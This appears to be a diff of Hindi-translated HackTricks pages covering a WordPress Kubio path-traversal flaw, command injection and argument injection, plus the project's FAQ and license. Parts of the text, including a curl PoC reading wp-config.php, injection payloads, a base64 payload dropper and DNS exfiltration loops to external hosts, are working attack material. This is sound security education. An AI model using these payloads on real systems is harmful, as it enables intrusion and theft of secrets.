- कमज़ोरी: कोई normalization/allowlisting नहीं; traversal की अनुमति है
- प्रभाव: गुप्त जानकारी का खुलासा (wp-config.php), विशिष्ट वातावरणों में संभावित RCE (log poisoning, includable PHP)
- Flaw: कोई normalization/allowlisting नहीं; traversal की अनुमति है
- Impact: गोपनीय जानकारी का खुलासा (wp-config.php), specific environments में potential RCE (log poisoning, includable PHP)
PoC wp-config.php पढ़ें
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
पता लगाने की चेकलिस्ट
- कोई भी handler जो अनुरोध पाथ्स को include()/require()/read sinks में जोड़ता है बिना realpath() containment के
- traversal patterns (../) की तलाश करें जो intended templates directory के बाहर पहुँच रहे हों
- कोई भी handler जो request paths को include()/require()/read sinks में जोड़ता है बिना realpath() containment के
- traversal patterns (../) की तलाश करें जो इरादतन templates directory के बाहर पहुँचते हों
कठोरकरण
- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
- इनपुट को Normalize करें; traversal sequences और absolute paths को reject करें; sanitize_file_name() का उपयोग केवल filenames के लिए करें (not full paths)
- Allowlisted templates लागू करें; realpath() से resolve करें और चेक करें कि str_starts_with(realpath(file), realpath(allowed_base))
- इनपुट को normalize करें; traversal sequences और absolute paths को reject करें; sanitize_file_name() केवल filenames के लिए उपयोग करें (पूर्ण paths के लिए नहीं)
## संदर्भ

View File

@ -4,11 +4,11 @@
## command Injection क्या है?
A **command injection** एक attacker को उस server पर, जो application host कर रहा है, arbitrary operating system commands execute करने की अनुमति देता है। नतीजतन, application और उसके सभी data पूरी तरह compromised हो सकते हैं। इन commands के execution से आमतौर पर attacker को application के environment और underlying system पर unauthorized access या control प्राप्त हो सकता है।
एक **command injection** हमलावर को उस सर्वर पर मनमाने operating system commands निष्पादित करने की अनुमति देता है जो एप्लिकेशन होस्ट कर रहा होता है। परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के वातावरण और underlying system पर अनाधिकृत पहुँच या नियंत्रण प्राप्त हो जाता है।
### Context
### संदर्भ
यह निर्भर करता है कि **आपका input कहाँ inject हो रहा है**, आपको commands से पहले **quoted context को terminate** (using `"` or `'`) करना पड़ सकता है।
यह इस बात पर निर्भर करता है कि **where your input is being injected**; आपको कमांड्स से पहले **terminate the quoted context** (using `"` or `'`) करना पड़ सकता है।
## Command Injection/Execution
```bash
@ -30,10 +30,11 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limition** Bypasses
### **सीमाएँ** बायपास
यदि आप **arbitrary commands inside a linux machine** निष्पादित करने का प्रयास कर रहे हैं, तो आप इस **Bypasses:** के बारे में पढ़ने में रुचि रखेंगे:
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### पैरामीटर
यहाँ शीर्ष 25 पैरामीटर दिए गए हैं जो code injection और समान RCE vulnerabilities के प्रति कमजोर हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
निम्नलिखित शीर्ष 25 पैरामीटर हैं जो code injection और समान RCE vulnerabilities के प्रति संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -88,9 +89,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration
### DNS आधारित data exfiltration
यह टूल `https://github.com/HoLyVieR/dnsbin` पर आधारित है और dnsbin.zhack.ca पर भी होस्ट किया गया है
यह टूल `https://github.com/HoLyVieR/dnsbin` से लिया गया है और dnsbin.zhack.ca पर भी होस्ट किया गया है
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -100,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
DNS-आधारित data exfiltration की जाँच के लिए ऑनलाइन टूल्स:
DNS based data exfiltration की जांच के लिए ऑनलाइन टूल:
- dnsbin.zhack.ca
- pingb.in
@ -119,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### Node.js `child_process.exec` बनाम `execFile`
### Node.js `child_process.exec` vs `execFile`
JavaScript/TypeScript बैक-एंड का ऑडिट करते समय आप अक्सर Node.js `child_process` API से मिलेंगे।
JavaScript/TypeScript बैक-एंड का ऑडिट करते समय आप अक्सर Node.js `child_process` API का सामना करेंगे।
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` एक **shell** (`/bin/sh -c`) शुरू करता है, इसलिए shell के लिए special meaning रखने वाले कोई भी character (back-ticks, `;`, `&&`, `|`, `$()`, …) तब **command injection** का कारण बनेंगे जब user input string में concatenated होगा।
`exec()` एक **shell** (`/bin/sh -c`) स्पॉन करता है, इसलिए कोई भी कैरेक्टर जिसका shell के लिए विशेष अर्थ है (back-ticks, `;`, `&&`, `|`, `$()`, …) जब उपयोगकर्ता इनपुट स्ट्रिंग में जोड़ दिया जाता है तो **command injection** का परिणाम होगा।
**Mitigation:** `execFile()` का उपयोग करें (या `spawn()` बिना `shell` option के) और **प्रत्येक argument को अलग array element के रूप में** प्रदान करें ताकि कोई shell शामिल न हो:
**निवारण:** `execFile()` का उपयोग करें (या `spawn()` बिना `shell` विकल्प के) और **प्रत्येक argument को अलग-अलग array element के रूप में** प्रदान करें ताकि कोई shell शामिल न हो:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -139,11 +140,11 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Real-world case: *Synology Photos* ≤ 1.7.0-0794 एक unauthenticated WebSocket event के माध्यम से explotible था जिसने attacker controlled डेटा को `id_user` में रख दिया जो बाद में एक `exec()` कॉल में embedded हुआ, और RCE हासिल किया गया (Pwn2Own Ireland 2024).
Real-world case: *Synology Photos* ≤ 1.7.0-0794 अनप्रमाणित WebSocket इवेंट के माध्यम से एक्सप्लॉइटेबल था जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा, जो बाद में एक `exec()` कॉल में एम्बेड किया गया, जिससे RCE हासिल हुआ (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Not all injections require shell metacharacters. यदि application untrusted strings को system utility को arguments के रूप में पास करता है (यहाँ तक कि `execve`/`execFile` के साथ और no shell होने पर भी), कई प्रोग्राम किसी भी argument को जो `-` या `--` से शुरू होता है, option समझकर parse कर लेते हैं। इससे एक attacker modes बदल सकता है, output paths बदल सकता है, या बिना कभी shell में घुसे खतरनाक व्यवहार trigger कर सकता है
Not all injections require shell metacharacters. यदि एप्लिकेशन अनट्रस्टेड स्ट्रिंग्स को सिस्टम utility के arguments के रूप में पास करता है (यहाँ तक कि `execve`/`execFile` के साथ और बिना shell के), तो कई प्रोग्राम किसी भी argument को जो `-` या `--` से शुरू होता है, option के रूप में पार्स करेंगे। यह हमलावर को मोड बदलने, output paths बदलने, या खतरनाक व्यवहार ट्रिगर करने देता है, बिना कभी shell में प्रवेश किए
Typical places where this appears:
@ -154,10 +155,10 @@ What to try:
- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
- Abuse flags that change behavior or write files, for example:
- `ping`: `-f`/`-c 100000` डिवाइस पर दबाव डालने के लिए (DoS)
- `curl`: `-o /tmp/x` arbitrary paths पर लिखने के लिए, `-K <url>` attacker-controlled config लोड करने के लिए
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` unsafe wrappers में post-rotate execution हासिल करने के लिए
- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
- `ping`: `-f`/`-c 100000` to stress the device (DoS)
- `curl`: `-o /tmp/x` to write arbitrary paths, `-K <url>` to load attacker-controlled config
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers
- If the program supports `--` end-of-options, try to bypass साधारण mitigations that prepend `--` in the wrong place.
Generic PoC shapes against centralized CGI dispatchers:
```
@ -170,7 +171,7 @@ topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```
## Brute-Force डिटेक्शन सूची
## ब्रूट-फ़ोर्स डिटेक्शन सूची
{{#ref}}
@ -182,8 +183,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [Synology एन्क्रिप्टेड आर्काइव्स का निष्कर्षण Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open मैनुअल](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

View File

@ -2,56 +2,56 @@
{{#include ../banners/hacktricks-training.md}}
## HackTricks मान्यताएँ
## HackTricks Values
> [!TIP]
> ये HackTricks प्रोजेक्ट की **मान्यताएँ** हैं:
> ये HackTricks Project की **मान्यताएँ** हैं:
>
> - इंटरनेट पर **सभी** को **मुफ्त** **शैक्षिक hacking** संसाधनों तक पहुँच देना।
> - Hacking सीखना है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए।
> - इस किताब का उद्देश्य व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
> - शानदार **hacking** तकनीकों को समुदाय द्वारा प्रकाशित होने पर संग्रहित करना और **मौलिक** **लेखकों** को सारा **श्रेय** देना।
> - **हम दूसरों का श्रेय नहीं चाहते**, हम सिर्फ सभी के लिए बेहतरीन ट्रिक्स संग्रहीत करना चाहते हैं।
> - हम HackTricks में **अपनी रिसर्च** भी लिखते हैं।
> - कई मामलों में हम सिर्फ तकनीक के महत्वपूर्ण हिस्सों का **HackTricks में सारांश** लिखेंगे और अधिक विवरण के लिए **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करना**
> - किताब में मौजूद सभी **hacking** तकनीकों को **संगठित** करना ताकि यह **अधिक सुलभ** हो
> - HackTricks टीम ने सामग्री को व्यवस्थित करने के लिए मुफ्त में केवल हजारों घंटे **संगठन** के लिए समर्पित किए हैं ताकि लोग **तेज़ी से सीख** सकें।
> - पूरे इंटरनेट के लिए **निःशुल्क** **शैक्षिक hacking** संसाधन उपलब्ध कराना।
> - Hacking सीखने के बरे में है, और सीखना जितना संभव हो मुफ्त होना चाहिए।
> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक स्रोत** के रूप में सेवा देना है।
> - awesome **hacking** techniques को **STORE** करना जो समुदाय प्रकाशित करता है और **ORIGINAL** **AUTHORS** को पूरा **क्रेडिट** देना।
> - **हम दूसरों का क्रेडिट नहीं चाहते**, हम बस सभी के लिए बढ़िया ट्रिक्स संग्रहीत करना चाहते हैं।
> - हम HackTricks में अपनी **खुद की रिसर्च** भी लिखते हैं।
> - कई मामलों में हम HackTricks में तकनीक के महत्वपूर्ण हिस्सों का **सारांश** लिखेंगे और पाठक को अधिक विवरण के लिए मूल पोस्ट पर जाने के लिए **प्रोत्साहित** करेंगे
> - पुस्तिका में सभी hacking तकनीकों को **ORGANIZE** करना ताकि वे **ज्यादा सुलभ** हों
> - HackTricks टीम ने केवल सामग्री को व्यवस्थित करने के लिए हजारों घंटे नि:शुल्क समर्पित किए हैं ताकि लोग **तेज़ी से सीख** सकें।
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## HackTricks अक्सर पूछे जाने वाले प्रश्न
## HackTricks faq
> [!TIP]
>
> - **इन संसाधनों के लिए बहुत धन्यवाद — मैं कैसे धन्यवाद कर सकता/सकती हूँ?**
> - **इन संसाधनों के लिए बहुत-बहुत धन्यवाद, मैं आपको कैसे धन्यवाद कह सकता/सकती हूँ?**
आप सार्वजनिक रूप से HackTricks टीम का धन्यवाद कर सकते हैं जिन्हंने इन सभी संसाधनों को एक साथ रखा — एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके.\
यदि आप विशेष रूप से कृतज्ञ हैं तो आप भी [**sponsor the project here**](https://github.com/sponsors/carlospolop) कर सकते हैं.\
और Github प्रोजेक्ट्स में एक **स्टार देना न भूलें!** (नीचे लिंक मिलेंगे).
आप सार्वजनिक रूप से HackTricks टीम को इन सभी संसाधनों को सार्वजनिक रूप से इकट्ठा करने के लिए ट्विटर पर धन्यवाद दे सकते हैं, एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करें।\
अगर आप विशेष रूप से आभारी हैं तो आप [**sponsor the project here**](https://github.com/sponsors/carlospolop) भी कर सकते हैं।\
और Github प्रोजेक्ट्स में **स्टार देना न भूलें!** (नीचे लिंक देखें)।
> [!TIP]
>
> - **मैं प्रोजेक्ट में कैसे योगदान दे सकता/दे सकती हूँ?**
> - **मैं प्रोजेक्ट में कैसे योगदान कर सकता/सकती हूँ?**
आप समुदाय के साथ **नए टिप्स और ट्रिक्स साझा कर सकते हैं या किताबों में पाए गए बग ठीक कर सकते हैं** और संबंधित Github पृष्ठों पर **Pull Request** भेजकर योगदान दे सकते हैं:
आप समुदाय के साथ नए टिप्स और ट्रिक्स **शेयर कर सकते हैं या किताबों में जो बग मिलें उन्हें ठीक कर सकते हैं** और संबंधित Github पेज पर एक **Pull Request** भेज सकते हैं:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
Github प्रोजेक्ट्स में एक **स्टार देना न भूलें!**
Github प्रोजेक्ट्स में **स्टार देना न भूलें!**
> [!TIP]
>
> - **क्या मैं HackTricks से कुछ सामग्री कॉपी करके अपने ब्लॉग में डाल सकता/सकती हूँ?**
> - **क्या मैं HackTricks से कुछ कंटेंट कॉपी करके अपने ब्लॉग पर डाल सकता/सकती हूँ?**
हाँ, कर सकते हैं, लेकिन **उन विशिष्ट लिंक(ओं) का उल्लेख करना न भूलें** जहाँ से सामग्री ली गई थी।
हाँ, आप कर सकते हैं, लेकिन **जहाँ से सामग्री ली गई है उन specific link(s) का उल्लेख करना न भूलें**
> [!TIP]
>
> - **मैं HackTricks के किसी पेज का संदर्भ कैसे दूँ?**
जब तक उस पेज(ओं) **का** लिंक जहाँ से आपने जानकारी ली है दिखाई देता है, यह पर्याप्त है.\
यदि आपको bibtex चाहिए तो आप कुछ इस तरह का उपयोग कर सकते हैं:
जब तक आप उन पेज(ों) का लिंक जहाँ से आपने जानकारी ली है दिखा देते हैं, यह काफी है।\
अगर आपको bibtex चाहिए तो आप कुछ इस तरह उपयोग कर सकते हैं:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -63,81 +63,81 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
> [!WARNING]
>
> - **Can I copy all HackTricks in my blog?**
**मैं इसे पसंद नहीं करूँगा।** यह किसी के भी हित में नहीं है क्योंकि सारा **content पहले से ही आधिकारिक HackTricks किताबों में मुफ्त उपलब्ध है**
अगर आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर fork कर लें या डाउनलोड कर लें जैसा मैंने कहा, यह पहले से ही मुफ्त है।
>
> **मैं ऐसा करना पसंद नहीं करूँगा/करूँगी।** यह **किसी के भी लाभ में नहीं होगा** क्योंकि सारी **सामग्री पहले से ही आधिकारिक HackTricks पुस्तकों में मुफ्त रूप से सार्वजनिक रूप से उपलब्ध है**
>
> यदि आपको डर है कि यह कहीं गायब हो जाएगा, तो बस इसे Github पर fork कर लें या डाउनलोड कर लें—जैसा कि मैंने कहा यह पहले से ही मुफ्त है।
> [!WARNING]
>
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
पहला **HackTricks** **value** यह है कि दुनिया भर के लिए **FREE** hacking educational resources पेश करना। HackTricks टीम ने इस सामग्री को मुफ्त में उपलब्ध कराने के लिए **हज़ारों घंटे समर्पित किए हैं**।
अगर आप सोचते हैं कि HackTricks किताबें **commercial purposes** के लिए बनाई गई हैं तो आप **COMPLETELY WRONG** हैं।
हमारे पास sponsors इसलिए हैं क्योंकि, भले ही सारी सामग्री FREE हो, हम community को **हमारे काम की प्रशंसा करने का विकल्प** देना चाहते हैं अगर वे चाहें। इसलिए, हम लोगों को HackTricks को [**Github sponsors**](https://github.com/sponsors/carlospolop) के जरिए दान करने का विकल्प देते हैं, और **relevant cybersecurity companies** HackTricks को sponsor कर सकती हैं और किताब में कुछ ads रख सकती हैं — ये **ads** हमेशा ऐसी जगहों पर रखे जाते हैं जहाँ वे **दिखते हों** पर सीखने की प्रक्रिया को **व्यवधान न पहुँचाएँ**
आप HackTricks में उतने परेशान करने वाले ads नहीं पाएँगे जितने कुछ कम सामग्री वाले ब्लॉग्स में होते हैं, क्योंकि HackTricks को commercial उद्देश्यों के लिए नहीं बनाया गया है।
>
> पहला **HackTricks** **मूल्य** दुनिया भर के लिए **निशुल्क (FREE)** hacking शैक्षिक संसाधन प्रदान करना है। HackTricks टीम ने यह सामग्री प्रदान करने के लिए **हज़ारों घंटे समर्पित** किए हैं, और फिर से कहूँगा, यह सब **मुफ्त** है
>
> अगर आप सोचते हैं कि HackTricks किताबें **वाणिज्यिक उद्देश्यों** के लिए बनी हैं तो आप **पूरी तरह गलत** हैं।
>
> हमारे पास sponsors हैं क्योंकि, भले ही सारी सामग्री मुफ्त हो, हम समुदाय को **हमारे काम की सराहना करने का विकल्प देना** चाहते हैं यदि वे चाहें। इसलिए, हम लोगों को HackTricks को दान करने का विकल्प देते हैं via [**Github sponsors**](https://github.com/sponsors/carlospolop), और **प्रासंगिक साइबरसिक्योरिटी कंपनियों** को HackTricks का समर्थन करने और किताब में कुछ ads रखने का विकल्प देते हैं—ये ads हमेशा ऐसी जगहों पर रखे जाते हैं जहाँ वे **दिखाई दें** मगर सीखने की प्रक्रिया में **विघ्न न डालें** अगर कोई सामग्री पर ध्यान केंद्रित कर रहा हो
>
> आप HackTricks में उस तरह की परेशान करने वाली ads नहीं पाएँगे जैसा कुछ दूसरे ब्लॉग्स में होता है जिनमें HackTricks से बहुत कम सामग्री होती है, क्योंकि HackTricks वाणिज्यिक उद्देश्यों के लिए नहीं बनाई गई है।
> [!CAUTION]
>
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
**हमें बहुत खेद है। यह नहीं होना चाहिए था।** कृपया हमें Github issues, Twitter, Discord... के माध्यम से बताएं — उस HackTricks पेज का लिंक और आपके ब्लॉग का लिंक भेजें और **हम जांच करेंगे और ASAP लिंक जोड़ देंगे**।
>
> **हमें बहुत क्षमा चाहिये। यह नहीं होना चाहिए था।** कृपया हमें Github issues, Twitter, Discord... के माध्यम से सूचित करें — उस HackTricks पेज का लिंक जिसमें आपकी सामग्री है और आपके ब्लॉग का लिंक भेजें और **हम इसे जाँचकर ASAP जोड़ देंगे**।
> [!CAUTION]
>
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
ध्यान दें कि HackTricks में आपके पेज के लिंक होने से:
- आपके **SEO** में सुधार होता है
- सामग्री **15+ भाषाओं** में अनुवादित होती है जिससे अधिक लोग इस सामग्री तक पहुँच सकते हैं
- **HackTricks लोगों को आपके पेज को चेक करने के लिए प्रेरित करता है** (कई लोगों ने हमें बताया है कि जब उनका कोई पेज HackTricks में आया तब उन्हें अधिक विज़िट्स मिले)
हालाँकि, अगर आप फिर भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटाई जाए, तो बस हमें बताएं और हम निश्चित रूप से **आपके ब्लॉग के सभी लिंक** और उस पर आधारित किसी भी सामग्री को हटा देंगे।
>
> ध्यान दें कि HackTricks में आपके पेज के लिंक होने से:
>
> - आपके **SEO** में सुधार होता है
> - सामग्री **15+ भाषाओं** में अनुवादित हो जाती है जिससे अधिक लोग इस सामग्री तक पहुँच पाते हैं
> - **HackTricks लोगों को आपके पेज की जाँच करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि उनके किसी पेज के HackTricks में आने के बाद उन्हें अधिक विज़िट मिली हैं)
>
> फिर भी, यदि आप चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटा दी जाए तो बस हमें बताइए और हम निश्चित रूप से **आपके ब्लॉग के सभी लिंक्स** और उस पर आधारित किसी भी सामग्री को हटा देंगे।
> [!CAUTION]
>
> - **What should I do if I find copy-pasted content in HackTricks?**
>
> हम हमेशा **मूल लेखकों को पूरा श्रेय देते हैं**। यदि आप कोई पेज पाते हैं जिसमें copy-pasted सामग्री है और मूल स्रोत संदर्भित नहीं है, तो हमें बताइए और हम या तो **उसे हटा देंगे**, **टेक्स्ट से पहले लिंक जोड़ेंगे**, या **लिंक जोड़कर उसे फिर से लिख देंगे**
हम हमेशा **मूल लेखकों को पूरा क्रेडिट देते हैं**। यदि आप कोई ऐसा पेज पाते हैं जिसमें copy-pasted सामग्री है और मूल स्रोत का उल्लेख नहीं है, तो हमें बताएं और हम या तो उसे **हटा देंगे**, **मूल लिंक टेक्स्ट से पहले जोड़ देंगे**, या **उसका पुनर्लेखन करके लिंक जोड़ देंगे**
## LICENSE
## लाइसेंस
Copyright © All rights reserved unless otherwise specified.
कॉपीराइट © सभी अधिकार सुरक्षित जब तक कि अन्यथा निर्दिष्ट न हो।
#### License Summary:
#### लाइसेंस सारांश:
- Attribution: You are free to:
- Share — copy and redistribute the material in any medium or format.
- Adapt — remix, transform, and build upon the material.
- Attribution: आप स्वतंत्र हैं:
- Share — सामग्री को किसी भी माध्यम या फॉर्मैट में कॉपी और पुनर्वितरित करने के लिए।
- Adapt — सामग्री को remix, transform, और build करने के लिए।
#### Additional Terms:
#### अतिरिक्त शर्तें:
- Third-Party Content: इस ब्लॉग/पुस्तक के कुछ भाग अन्य स्रोतों से सामग्री शामिल कर सकते हैं, जैसे अन्य ब्लॉग्स या प्रकाशनों के अंश। ऐसे सामग्री का उपयोग अक्सर उचित उपयोग (fair use) के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों की स्पष्ट अनुमति से किया गया है। कृपया तृतीय-पक्ष सामग्री के विशेष लाइसेंसिंग जानकारी के लिए मूल स्रोतों को देखें।
- Authorship: HackTricks द्वारा रचित मूल सामग्री इस लाइसेंस की शर्तों के अधीन है। जब आप इस कार्य को साझा या अनुकूलित करते हैं तो लेखक को श्रेय देने की सलाह दी जाती है।
- Third-Party Content: इस ब्लॉग/बुक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉग या प्रकाशनों के उद्धरण। ऐसी सामग्री का उपयोग fair use के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों की स्पष्ट अनुमति के साथ किया गया है। कृपया तृतीय-पक्ष सामग्री के विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों को देखें।
- Authorship: HackTricks द्वारा रचित मूल सामग्री इस लाइसेंस की शर्तों के अधीन है। साझा या अनुकूलित करते समय आपसे अनुरोध है कि इस कार्य को लेखक को श्रेय दें।
#### Exemptions:
#### छूटें:
- Commercial Use: इस सामग्री के वाणिज्यिक उपयोग के संबंध में पूछताछ के लिए, कृपया मुझसे संपर्क करें।
- Commercial Use: इस सामग्री के commercial उपयोग के बारे में पूछताछ के लिए, कृपया मुझसे संपर्क करें।
यह लाइसेंस सामग्री से संबंधित किसी ट्रेडमार्क या ब्रांडिंग के अधिकार प्रदान नहीं करता। इस ब्लॉग/पुस्तक में दिखाए गए सभी ट्रेडमार्क और ब्रांडिंग उनके संबंधित मालिकों की संपत्ति हैं।
यह लाइसेंस सामग्री से संबंधित किसी भी ट्रेडमार्क या ब्रांडिंग अधिकार नहीं देता। इस ब्लॉग/बुक में दिखाये गए सभी ट्रेडमार्क और ब्रांडिंग उनके संबंधित मालिकों की संपत्ति हैं।
**HackTricks का उपयोग या एक्सेस करके, आप इस लाइसेंस की शर्तों का पालन करने के लिए सहमत होते हैं। यदि आप इन शर्तों से सहमत नहीं हैं, तो कृपया इस वेबसाइट का उपयोग न करें।**
**HackTricks का उपयोग या एक्सेस करके, आप इस लाइसेंस की शर्तों का पालन करने के लिए सहमत होते हैं। यदि आप इन शर्तों से सहमत नहीं हैं, तो कृपया इस वेबसाइट तक पहुँच न करें।**
## **अस्वीकरण**
## **Disclaimer**
> [!CAUTION]
> यह किताब, 'HackTricks,' केवल शैक्षिक और सूचना-उद्देश्यों के लिए है। इस किताब की सामग्री 'as is' आधार पर प्रदान की जाती है, और लेखक और प्रकाशक किसी भी प्रकार का कोई प्रतिनिधित्व या वारंटी नहीं देते — स्पष्ट या निहित — सामग्री की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के बारे में। इस प्रकार की किसी भी जानकारी पर आपकी निर्भरता पूरी तरह से आपके अपने जोखिम पर है
> यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचना उद्देश्यों के लिए है। इस पुस्तक की सामग्री 'as is' आधार पर प्रदान की गई है, और लेखक तथा प्रकाशक किसी भी प्रकार के स्पष्ट या निहित प्रतिनिधित्व या वारंटी नहीं देते, जैसे कि जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के बारे में। इसलिए आप जो भी इस जानकारी पर निर्भर करते हैं वह पूरी तरह आपकी अपनी जिम्मेदारी होगी
>
> लेखक और प्रकाशक किसी भी हानि या नुकसान के लिए किसी भी स्थिति में उत्तरदायी नहीं होंगे, जिसमें परोक्ष या परोक्ष हानि या किसी भी डेटा या मुनाफ़े के नुकसान से जुड़ा कोई भी नुकसान शामिल है, जो इस किताब के उपयोग के कारण या उससे संबंधित होकर उत्पन्न हो
> लेखक और प्रकाशक किसी भी नुकसान या हानि के लिए उत्तरदायी नहीं होंगे, जिसमें परोक्ष या परिणामी हानि शामिल है, या किसी भी प्रकार की हानि जो डेटा या लाभ की हानि से उत्पन्न हो, या इस पुस्तक के उपयोग के कारण होने वाली कोई भी हानि
>
> इसके अतिरिक्त, इस किताब में वर्णित तकनीकें और टिप्स केवल शैक्षिक और सूचना-उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या अनुमोदन नहीं करते, और इस किताब की जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
> इसके अतिरिक्त, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचना के उद्देश्य के लिए प्रदान किए गए हैं, और किसी भी अनैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किए जाने चाहिए। लेखक और प्रकाशक किसी भी अनैतिक या अवैध गतिविधियों को समर्थन या प्रोत्साहन नहीं देते, और इस पुस्तक में दी गई जानकारी का कोई भी उपयोग उपयोगकर्ता की अपनी जोखिम और विवेक पर है।
>
> इस किताब में निहित जानकारी के आधार पर किसी भी कार्रवाई के लिए उपयोगकर्ता एकमात्र रूप से उत्तरदायी होगा, और किसी भी तकनीक या टिप्स को लागू करने का प्रयास करते समय हमेशा पेशेवर परामर्श और सहायता लेनी चाहिए।
> उपयोगकर्ता केवल अपने द्वारा इस पुस्तक में दी गई जानकारी के आधार पर किए गए किसी भी कार्य के लिए जिम्मेदार होगा, और किसी भी तकनीक या सुझाव को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता लेनी चाहिए।
>
> इस किताब का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशकों को किसी भी और सभी दायित्वों और जिम्मेदारियों से मुक्त रने के लिए सहमत होता है जो इस किताब या उसमें निहित किसी भी जानकारी के उपयोग से उत्पन्न होने वाले किसी भी नुकसान, हानि, या चोट के लिए हो सकते हैं।
> इस पुस्तक का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशक को किसी भी और सभी दायित्वों और जिम्मेदारियों से मुक्त रने के लिए सहमत होता है जो इस पुस्तक या इसमें निहित किसी भी जानकारी के उपयोग से उत्पन्न होने वाले नुकसान, हानियों या क्षति के परिणामस्वरूप हो सकते हैं।
{{#include ../banners/hacktricks-training.md}}